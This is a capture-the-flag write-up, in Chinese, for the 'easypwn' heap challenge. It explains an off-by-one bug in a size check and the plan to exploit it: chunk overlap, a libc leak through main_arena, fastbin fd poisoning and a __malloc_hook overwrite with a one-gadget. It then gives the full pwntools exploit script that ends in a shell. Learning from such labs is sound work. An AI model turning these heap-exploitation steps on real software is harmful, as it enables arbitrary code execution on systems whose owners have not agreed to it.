easypwn
程序分析
off-by-one漏洞,输入content的时候,可控size的大小;
第二次输入size - 第一次输入的size = 10 时,可多输入一字节。
1 2 3 4 5 6 7 8 9 10 11 12
| __int64 __fastcall sub_E26(signed int a1, unsigned int a2) { __int64 result;
if ( a1 > (signed int)a2 ) return a2; if ( a2 - a1 == 10 ) LODWORD(result) = a1 + 1; else LODWORD(result) = a1; return (unsigned int)result; }
|
利用思路
- 利用堆块重叠,修改B的size为B+C的size
- free B , 再malloc B ,就可以泄露C里面的< main_arena+88 >,再减去距离libc_base的偏移,得到libc_base
- 再利用堆块重叠,修改E的size为E+F的size
- free E , malloc E+F大小的size,修复F的size,再free F
- 把target_addr 写入到F的fd位
- malloc F ,就可以malloc target_addr,达到任意地址写
但是这题onegadget会失效,需要调整calloc的一些偏移,才能得到shell
- <__malloc_hook>在 < main_arena-0x10>
- <__realloc_hook>在< main_arena-0x18>
- <__memalign_hook>在< main_arena-0x20>
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| from pwn import * p = process("./easy_pwn")
elf = ELF("./easy_pwn") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level = "debug"
def create(size): p.sendlineafter("choice: ",str(1)) p.sendlineafter("size: ",str(size))
def edit(index,size,content): p.sendlineafter("choice: ",str(2)) p.sendlineafter("index: ",str(index)) p.sendlineafter("size: ",str(size)) p.sendlineafter("content: ",content)
def delete(index): p.sendlineafter("choice: ",str(3)) p.sendlineafter("index: ",str(index))
def show(index): p.sendlineafter("choice: ",str(4)) p.sendlineafter("index: ",str(index)) create(0x68) create(0x68) create(0x68) create(0x68) create(0x68) create(0x68) create(0x68) create(0x68)
edit(1,0x68+10,"a"*0x60+p64(0)+"\xe1")
delete(2)
create(0x68)
show(3) p.recvuntil("content: ") data = u64(p.recv(6).ljust(8,"\x00")) print hex(data) main_arean = data-88 libc_base = main_arean - 0x3c4b20 system_addr = libc_base + libc.symbols['system']
target_addr = data-0x8b one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
edit(4,0x68+10,"a"*0x60+p64(0)+"\xe1") delete(5)
create(0xd0) edit(5,0xd0,"\x02"*0x68+p64(0x70)+"\x06"*0x60) delete(6) edit(5,0xd0,"\x03"*0x68+p64(0x70)+p64(target_addr)+0x58*"\x00")
create(0x68) create(0x68) print hex(one_gadgets[2]+libc_base) print hex(libc_base+libc.symbols["realloc"]+13) pause() edit(8,0x68,"a"*0xb+p64(one_gadgets[2]+libc_base)+p64(libc_base+libc.symbols["realloc"]+13)+"a"*(0x50-3))
create(0x50)
p.interactive()
|
calloc_magic